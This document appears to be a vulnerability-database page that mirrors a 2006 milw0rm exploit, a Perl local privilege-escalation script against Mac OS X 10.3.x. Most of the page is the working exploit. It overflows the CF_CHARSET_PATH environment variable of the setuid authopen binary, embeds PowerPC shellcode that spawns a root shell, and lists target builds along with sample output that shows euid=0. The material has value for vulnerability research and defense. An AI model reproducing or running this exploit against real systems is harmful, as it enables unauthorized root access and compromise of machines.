Lucene search
K

Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local BOF Exploit (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local BOF Exploit by kf at digitalmunitio

Code

                                                #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Variant of CF_CHARSET_PATH a local root exploit by v9_at_fakehalo.us
#
# I was in the mood for some retro shit this morning, and I need root on some old ass G3 iMacs for a demo.
#
# I got sick of pressing enter on v9&#39;s exploit. It gets in the way when scripting attacks.
#
# Jill-Does-Computer:/tmp jilldoe$ ./authopen-CF_CHARSET.pl 0
# *** Target: 10.3.7 Build 7T65 on PowerPC, Padding: 1
# sh-2.05b# id
# uid=502(jilldoe) euid=0(root) gid=502(jilldoe) groups=502(jilldoe), 79(appserverusr), 80(admin), 81(appserveradm)
#
#

foreach $key (keys %ENV) {

   delete $ENV{$key};

}

#// ppc execve() code by b-r00t + nemo to add seteuid(0)
$sc =
&#34;\x7c\x63\x1a\x79&#34; .
&#34;\x40\x82\xff\xfd&#34; .
&#34;\x39\x40\x01\xc3&#34; .
&#34;\x38\x0a\xfe\xf4&#34; .
&#34;\x44\xff\xff\x02&#34; .
&#34;\x39\x40\x01\x23&#34; .
&#34;\x38\x0a\xfe\xf4&#34; .
&#34;\x44\xff\xff\x02&#34; .
&#34;\x60\x60\x60\x60&#34; .
&#34;\x7c\xa5\x2a\x79&#34; .
&#34;\x40\x82\xff\xfd&#34; .
&#34;\x7d\x68\x02\xa6&#34; .
&#34;\x3b\xeb\x01\x70&#34; .
&#34;\x39\x40\x01\x70\x39\x1f\xfe\xcf&#34; .
&#34;\x7c\xa8\x29\xae\x38\x7f\xfe\xc8&#34; .
&#34;\x90\x61\xff\xf8\x90\xa1\xff\xfc&#34; .
&#34;\x38\x81\xff\xf8\x38\x0a\xfe\xcb&#34; .
&#34;\x44\xff\xff\x02\x7c\xa3\x2b\x78&#34; .
&#34;\x38\x0a\xfe\x91\x44\xff\xff\x02&#34; .
&#34;\x2f\x62\x69\x6e\x2f\x73\x68\x58&#34;;

$tgts{&#34;0&#34;} = &#34;10.3.7 Build 7T65 on PowerPC:1&#34;;
$tgts{&#34;1&#34;} = &#34;10.3.7 debug 0x41424344:0&#34;;

unless (($target) = @ARGV) {

       print &#34;\n\nUsage: $0 &#60;target&#62; \n\nTargets:\n\n&#34;;

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{&#34;$key&#34;});
               print &#34;\t$key . $a\n&#34;;
       }

       print &#34;\n&#34;;
       exit 1;
}

$ret = pack(&#34;l&#34;, ($retval));
($a,$b) = split(/\:/,$tgts{&#34;$target&#34;});
print &#34;*** Target: $a, Padding: $b\n&#34;;

# add a wrapper here if you want more than euid=0
open(SUSH,&#34;&#62;/tmp/sh&#34;);
printf SUSH &#34;/bin/csh -i\n&#34;;

$ENV{&#34;CF_CHARSET_PATH&#34;} = &#34;A&#34; x 1048 . pack(&#39;l&#39;, 0xbffffef6) x 2;

$ENV{&#34;APPL&#34;} = &#34;.&#34; x $b . &#34;iiii&#34; x 40 . $sc ;

system(&#34;/usr/libexec/authopen /etc/master.passwd&#34;);

# milw0rm.com [2006-08-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
22